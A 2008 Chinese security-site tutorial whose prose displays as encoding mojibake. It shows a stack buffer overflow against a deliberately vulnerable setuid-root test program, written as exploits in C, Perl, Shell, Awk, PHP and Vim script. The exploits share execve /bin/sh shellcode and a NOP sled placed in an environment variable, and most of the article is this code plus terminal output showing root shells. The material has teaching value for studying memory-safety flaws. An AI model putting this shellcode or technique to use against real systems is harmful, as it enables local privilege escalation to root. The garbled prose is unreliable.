| ÍøÕ¾Ê×Ò³ | ÐÂÎÅÖÐÐÄ | ϵͳ°²È« | ÍøÂ簲ȫ | °²È«¼¼Êõ | ÏÂÔØÖÐÐÄ | °²È«365ÉçÇø |
°²È«365
Êղر¾Õ¾
ÉèΪÊ×Ò³
»áÔ±µÇ¼£º
Õ¾ÄÚËÑË÷£º ÐÂÎÅÖÐÐÄ ÏµÍ³°²È« ÍøÂ簲ȫ °²È«¼¼Êõ ÏÂÔØÖÐÐÄ
| °²È«¼¼ÊõÊ×Ò³ | ¼¼ÊõÑо¿ | ¼¼ÊõÓ¦Óà| Êý¾Ý°²È« | ÆóÒµ×¨Çø |
Òç³öÀûÓóÌÐòºÍ±à³ÌÓïÑÔ
Òç³öÀûÓóÌÐòºÍ±à³ÌÓïÑÔ´óÔÓ»â
×÷Õߣº°²È«Öйú ÎÄÕÂÀ´Ô´£º°²È«Öйú µã»÷Êý£º ¸üÐÂʱ¼ä£º2008-3-23 9:40:03

  Òç³öÀûÓóÌÐò²»½ö½öÊÇÖ»ÄÜÓÃcÓïÑÔ±àд£¬Æäʵ¼¸ºõÈκαà³ÌÓïÑÔ¶¼ÄÜÓÃÀ´±àд

¡¡¡¡Òç³öÀûÓóÌÐò£¬ÕâÀïÓÃLinux×÷ΪÊÔÑéÆ½Ì¨£¬ÒÔʵÀýÑÝʾC¡¢Perl¡¢Shell¡¢Awk

¡¡¡¡ÓïÑÔ±àдÒç³öÀûÓóÌÐò¡£Ö®ËùÒÔÑ¡ÔñÕ⼸¸öÓïÑÔÊÇÒòΪËûÃǶ¼¼¸ºõÊÇUnixϵͳ

¡¡¡¡×Ô´øµÄÓïÑÔ(ÉÌÓÃUnixϵͳÖÐCÓïÑÔÀýÍâ)¡£Ê¾ÀýÖлù±¾¶¼ÊǰÑSHELLCODE·Åµ½

¡¡¡¡»·¾³±äÁ¿ÖÐÀ´ÊµÏÖ¾«È·¶¨Î»µÄ¡£

¡¡¡¡<Ò»> ÓÐÒç³ö©¶´µÄvul.c

¡¡¡¡[cloud@test]$Content$nbsp;id

¡¡¡¡uid=505(cloud) gid=503(test) groups=503(test)

¡¡¡¡[cloud@test]$Content$nbsp;cat vul.c

¡¡¡¡/* Demo

¡¡¡¡Have a bof vul at argv[1].

¡¡¡¡Write by watercloud @ xfocus.org

¡¡¡¡*/

¡¡¡¡#include

¡¡¡¡int main(int argc,char * argv[])

¡¡¡¡{

¡¡¡¡char buff[32];

¡¡¡¡if(argc > 1)

¡¡¡¡{

¡¡¡¡strcpy(buff,argv[1]);

¡¡¡¡}

¡¡¡¡printf("buff : %s\n",buff);

¡¡¡¡return 0;

¡¡¡¡}

¡¡¡¡[cloud@test]$Content$nbsp;gcc vul.c -o vul

¡¡¡¡[cloud@test]$Content$nbsp;ls -l vul

¡¡¡¡-rwxr-xr-x 1 cloud test 11627 2ÔÂ 24 10:14 vul

¡¡¡¡[cloud@test]$Content$nbsp;sudo chown root vul

¡¡¡¡[cloud@test]$Content$nbsp;sudo chmod u+s vul

¡¡¡¡[cloud@test]$Content$nbsp;ls -lh vul

¡¡¡¡-rwsr-xr-x 1 root test 11K 2ÔÂ 24 10:14 vul

¡¡¡¡<¶þ> CÓïÑÔ°æ±¾ÀûÓóÌÐòex.c

¡¡¡¡[cloud@test]$Content$nbsp;cat ex.c

¡¡¡¡/* Demo for exploit bof of "./vul"

¡¡¡¡Write by watercloud @ xfocus.org

¡¡¡¡*/

¡¡¡¡#include

¡¡¡¡#define TARGET "./vul"

¡¡¡¡#define ADDR 0xbffff3e8

¡¡¡¡char SH[]="1\xc0PPP[YZ4\xd0\xcd\x80"

¡¡¡¡"j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";

¡¡¡¡int main(int argc,char * argv[])

¡¡¡¡{

¡¡¡¡char env_buff[4000];

¡¡¡¡char cmd_buff[1024];

¡¡¡¡int i,ret;

¡¡¡¡unsigned int *pi;

¡¡¡¡char * pc;

¡¡¡¡for(i=0;i<3096;env_buff[i++]=0x90){ };

¡¡¡¡env_buff[i]=¡¯\0¡¯;

¡¡¡¡strcat(env_buff,SH);

¡¡¡¡setenv("KK",env_buff,1);

¡¡¡¡strcpy(cmd_buff,TARGET);

¡¡¡¡pc=&cmd_buff[strlen(TARGET)];

¡¡¡¡*pc++=¡¯ ¡¯;

¡¡¡¡for(ret=1,i=0;i<4 && ret;i++)

¡¡¡¡{

¡¡¡¡int j;

¡¡¡¡*pc++=¡¯A¡¯;

¡¡¡¡pi=(unsigned int *)pc;

¡¡¡¡for(j=0;j<20;*pi++=ADDR,j++){};

¡¡¡¡*pi=0;

¡¡¡¡ret=system(cmd_buff);

¡¡¡¡}

¡¡¡¡return ret;

¡¡¡¡}

¡¡¡¡[cloud@test]$Content$nbsp;gcc ex.c -o ex

¡¡¡¡[cloud@test]$Content$nbsp;./ex

¡¡¡¡buff : Aèóÿ¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è??

¡¡¡¡èóÿ¿è??

¡¡¡¡buff : AAèóÿ¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?

¡¡¡¡¿è?¿è??

¡¡¡¡buff : AAAèóÿ¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?

¡¡¡¡ÿ¿è?¿è??

¡¡¡¡buff : AAAAèóÿ¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è

¡¡¡¡?¿è?¿è??

¡¡¡¡sh-2.05b# id

¡¡¡¡uid=0(root) gid=503(test) groups=503(test)

¡¡¡¡sh-2.05b# exit

¡¡¡¡exit

¡¡¡¡<Èý> perlÓïÑÔ°æ±¾ÀûÓóÌÐòex.pl

¡¡¡¡[cloud@test]$Content$nbsp;cat ex.pl

¡¡¡¡#!/usr/bin/perl

¡¡¡¡# Demo for exploit bof of "./vul"

¡¡¡¡# Write by watercloud @ xfocus.org

¡¡¡¡#$ENV_LEN=`env |wc -c`

¡¡¡¡$SHELL="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";

¡¡¡¡$ENV{KK}= "\x90"x 3096 . $SHELL;

¡¡¡¡for($ret=1,$ag="AA",$i=0;$i<4 && $ret; $ag="A"x $i++) {

¡¡¡¡$ret=system "./vul",$ag. "\xff\xbf\xe8\xf3"x20; #ADDR:0xbffff3e8

¡¡¡¡}

¡¡¡¡#EOF

¡¡¡¡[cloud@test]$Content$nbsp;perl ex.pl

¡¡¡¡buff : AAÿ¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è

¡¡¡¡?¿è?¿è?

¡¡¡¡sh-2.05b# id

¡¡¡¡uid=0(root) gid=503(test) groups=503(test)

¡¡¡¡sh-2.05b# exit

¡¡¡¡exit

¡¡¡¡<ËÄ> ShellÓïÑÔ°æ±¾ÀûÓóÌÐòex.sh

¡¡¡¡[cloud@test]$Content$nbsp;cat ex.sh

¡¡¡¡#/bin/bash

¡¡¡¡# Demo for exploit bof of "./vul"

¡¡¡¡# Write by watercloud @ xfocus.org

¡¡¡¡#ENV_LEN=`env |wc -c|tr -d ¡¯ ¡¯`

¡¡¡¡SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";

¡¡¡¡AG="AA";for (( i=0;i<10;i++));do AG=$AG$AG;done ;AG=$AG$AG$AG #3096

¡¡¡¡for((i=0;i<20;i++));do AD=$AD"\xff\xbf\xe8\xf3";done #ADDR:0xbffff3e8

¡¡¡¡export AGSHELL=$AG`echo -e $SH`

¡¡¡¡for((i=0;i<4;i++)) ;do

¡¡¡¡AA=$AA"A"

¡¡¡¡if ./vul $AA`echo -e $AD`

¡¡¡¡then break

¡¡¡¡fi

¡¡¡¡done

¡¡¡¡#EOF

¡¡¡¡[cloud@test]$Content$nbsp;chmod a+x ex.sh

¡¡¡¡[cloud@test]$Content$nbsp;./ex.sh

¡¡¡¡buff : Aÿ¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?

¡¡¡¡ÿ¿è?¿è?

¡¡¡¡./ex.sh: line 16: 5287 ¶Î´íÎó ./vul $AA`echo -e $AD`

¡¡¡¡buff : AAÿ¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è

¡¡¡¡?¿è?¿è?

¡¡¡¡sh-2.05b# id

¡¡¡¡uid=0(root) gid=503(test) groups=503(test)

¡¡¡¡sh-2.05b# exit

¡¡¡¡exit

¡¡¡¡<Îå> awkÓïÑÔ°æ±¾ÀûÓóÌÐòex.awk

¡¡¡¡[cloud@test]$Content$nbsp;cat ex.awk

¡¡¡¡# Demo for exploit bof of "./vul"

¡¡¡¡# Write by watercloud @ xfocus.org

¡¡¡¡BEGIN{

¡¡¡¡SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";

¡¡¡¡AG="AA";

¡¡¡¡for ( i=0;i<10;i++)

¡¡¡¡{

¡¡¡¡AG=AG""AG;

¡¡¡¡}

¡¡¡¡AG=AG""AG""AG #3096

¡¡¡¡for(i=0;i<20;i++)

¡¡¡¡{

¡¡¡¡AD=AD"\xe8\xf3\xff\xbf"; #ADDR:0xbffff3e8

¡¡¡¡}

¡¡¡¡AA="AA"

¡¡¡¡for(i=0;i<4;i++)

¡¡¡¡{

¡¡¡¡AA=AA"A"

¡¡¡¡system("./vul "AA""AD" "AG""SH)

¡¡¡¡}

¡¡¡¡}

¡¡¡¡#EOF

¡¡¡¡[cloud@test]$Content$nbsp;gawk -f ex.awk /dev/null

¡¡¡¡buff : AAAèóÿ¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è??

¡¡¡¡buff : AAAAèóÿ¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è?¿è??

¡¡¡¡sh-2.05b# id

¡¡¡¡uid=0(root) gid=503(test) groups=503(test)

¡¡¡¡sh-2.05b#

¡¡¡¡<Áù> PHP°æ±¾

¡¡¡¡[cloud@MagicLinux tmp]$Content$nbsp;id

¡¡¡¡uid=502(cloud) gid=502(cloud) groups=502(cloud)

¡¡¡¡[cloud@MagicLinux tmp]$Content$nbsp;ls -l vul

¡¡¡¡-rwsr-xr-x 1 root root 4895 2ÔÂ 26 20:57 vul

¡¡¡¡[cloud@MagicLinux tmp]$Content$nbsp;cat ex.php

¡¡¡¡

¡¡¡¡$SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80";

¡¡¡¡$AG="AA";

¡¡¡¡for( $i=0;$i<10;$i++){

¡¡¡¡$AG.=$AG;

¡¡¡¡}

¡¡¡¡$AG.=$AG.$AG; #3096

¡¡¡¡for($i=0;$i<20;$i++) {

¡¡¡¡$AD.="\xff\xbf\xe8\xf3";#ADDR:0xbffff3e8

¡¡¡¡}

¡¡¡¡for($i=0;$i<4;$i++) {

¡¡¡¡$AA.="A";

¡¡¡¡print system("./vul ".$AA.$AD.$AG.$SH);

¡¡¡¡}

¡¡¡¡?>

¡¡¡¡[cloud@MagicLinux tmp]$Content$nbsp;php ex.php 1>/dev/null

¡¡¡¡id >&2

¡¡¡¡uid=0(root) gid=502(cloud) groups=502(cloud)

¡¡¡¡exit

¡¡¡¡[cloud@MagicLinux tmp]$Content$nbsp;

¡¡¡¡<Æß> VimÀ©Õ¹½Å±¾°æ±¾

¡¡¡¡Á¬vim±à¼­Æ÷µÄÀ©Õ¹±à³Ì½Å±¾Ò²¿ÉÒÔÄÃÀ´Ð´Òç³öµÄ˵£º

¡¡¡¡[cloud@MagicLinux tmp]$Content$nbsp;id

¡¡¡¡uid=502(cloud) gid=502(cloud) groups=502(cloud)

¡¡¡¡[cloud@MagicLinux tmp]$Content$nbsp;cat ex.vim

¡¡¡¡let SH="1\xc0PPP[YZ4\xd0\xcd\x80j\x0bX\x99Rhn/shh//biT[RSTY\xcd\x80"

¡¡¡¡let AG="AA"

¡¡¡¡let i=0

¡¡¡¡while(i<10)

¡¡¡¡let AG=AG.AG

¡¡¡¡let i=i+1

¡¡¡¡endwhile

¡¡¡¡let AG=AG.AG.AG

¡¡¡¡"len of AG is 3096

¡¡¡¡let AD=""

¡¡¡¡let i=0

¡¡¡¡while(i<20)

¡¡¡¡let AD=AD."\xff\xbf\xe8\xf3"

¡¡¡¡"ADDR:0xbffff3e8

¡¡¡¡let i=i+1

¡¡¡¡endwhile

¡¡¡¡let AA=""

¡¡¡¡let i=0

¡¡¡¡while(i<4)

¡¡¡¡let AA=AA."A"

¡¡¡¡execute "!./vul ". AA . AD . AG . SH

¡¡¡¡let i=i+1

¡¡¡¡endwhile

¡¡¡¡[cloud@MagicLinux tmp]$Content$nbsp;ls -l vul

¡¡¡¡-rwsr-xr-x 1 root root 4895 2ÔÂ 26 20:57 vul

¡¡¡¡[cloud@MagicLinux tmp]$Content$nbsp;vim -eS ex.vim

¡¡¡¡Xlib: connection to ":0.0" refused by server

¡¡¡¡Xlib: No protocol specified

¡¡¡¡buff : A�¿è�¿è�¿è�¿è�¿è�¿è�¿è�¿è�¿è�¿è�¿è�¿è�¿è�¿è�¿è�¿è�¿è�¿è�¿è�¿èóAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

¡¡¡¡AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

¡¡¡¡AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

¡¡¡¡¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­¡­

¡¡¡¡AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1ÀPPP[YZ4ÐÍ�j

¡¡¡¡X™Rhn/shh//biT[RSTYÍ€

¡¡¡¡sh-2.05b# id

¡¡¡¡uid=0(root) gid=502(cloud) groups=502(cloud)

¡¡¡¡sh-2.05b#

¡¡¡¡<°Ë> ¡­¡­

¡¡¡¡<¾Å> СÓï

¡¡¡¡Òç³öµÄ¸ù±¾ÔÚÓÚµØÖ·¶¨Î»¡¢¶ÑÕ»µÈÊý¾Ý½á¹¹µÄʹÓÃÔ¼¶¨ºÍ×éÖ¯¡¢²Ù×÷ϵͳÔËÐÐʱ½á¹¹µÈÁ˽âÕâЩ֪ʶºóÒç³öÀûÓñ¾ÉúºÍ±à³ÌÓïÑÔÊÇûÓйØÏµµÄ¡£

ÎÄÕ¼È룺СÕÅ    ÔðÈα༭£ºÐ¡ÕÅ 
  • ÉÏһƪÎÄÕ£º

  • ÏÂһƪÎÄÕ£º ûÓÐÁË
  • ¡¾×ÖÌ壺С ´ó¡¿¡¾·¢±íÆÀÂÛ¡¿¡¾¼ÓÈëÊղء¿¡¾¸æËߺÃÓÑ¡¿¡¾´òÓ¡´ËÎÄ¡¿¡¾¹Ø±Õ´°¿Ú¡¿
    ¡¡¡¡ÍøÓÑÆÀÂÛ£º£¨Ö»ÏÔʾ×îÐÂ10Ìõ¡£ÆÀÂÛÄÚÈÝÖ»´ú±íÍøÓѹ۵㣬Óë±¾Õ¾Á¢³¡Î޹أ¡£©
     
     
     
    ûÓÐÏà¹ØÎÄÕÂ
    Õ¾³¤ÓÊÏ䣺webmaster@anquan365.com
    ÁªÏµµç»°£º86-10-67634029 µã»÷ÕâÀï¸øÎÒ·¢ÏûÏ¢

    Copyright © 2006-2008¡¡www.anquan365.com¡¡±±¾©»ª°²ÆÕÌØÍøÂç¿Æ¼¼ÓÐÏÞ¹«Ë¾ °æÈ¨ËùÓÐ